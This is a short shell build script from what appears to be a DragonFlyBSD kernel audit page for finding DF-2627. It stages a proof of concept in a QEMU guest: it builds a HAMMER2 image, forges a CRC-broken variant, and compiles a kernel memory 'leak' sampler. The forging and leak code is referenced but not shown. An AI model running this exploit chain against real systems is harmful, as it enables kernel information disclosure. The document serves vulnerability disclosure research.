DragonFlyBSD Kernel Audit
DF-2627 / build.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2627 build: base image in guest, forge variant on host, push to guest.
set -e
CD=$(dirname "$0")

# 1. guest (root): make the base image (64M, newfs_hammer2, 12 sacrificial
#    + 40 payload files, sacrificial removed, sync, umount)
ssh -F dfbsd-qemu/config dfbsd 'mkdir -p /root/poc/df2627 /mnt/h2x'
scp -F dfbsd-qemu/config "$CD/mkbase2627.sh" dfbsd:/root/poc/
ssh -F dfbsd-qemu/config dfbsd 'sh /root/poc/mkbase2627.sh'
scp -F dfbsd-qemu/config dfbsd:/root/poc/df2627/base2627.img "$CD/"

# 2. host: forge the CRC-broken variant (no ancestor/volhdr edits needed)
python3 "$CD/forge_df2627.py" "$CD/base2627.img" "$CD/craft2627.img"

# 3. build the sampler in the guest
scp -F dfbsd-qemu/config "$CD/leak_df2627.c" dfbsd:/root/poc/df2627/
ssh -F dfbsd-qemu/config dfbsd 'cc -O -o /root/poc/df2627/leak_df2627 /root/poc/df2627/leak_df2627.c' 

# 4. push everything to the guest
scp -F dfbsd-qemu/config "$CD/base2627.img" "$CD/craft2627.img" \
    dfbsd:/root/poc/df2627/
echo BUILD_OK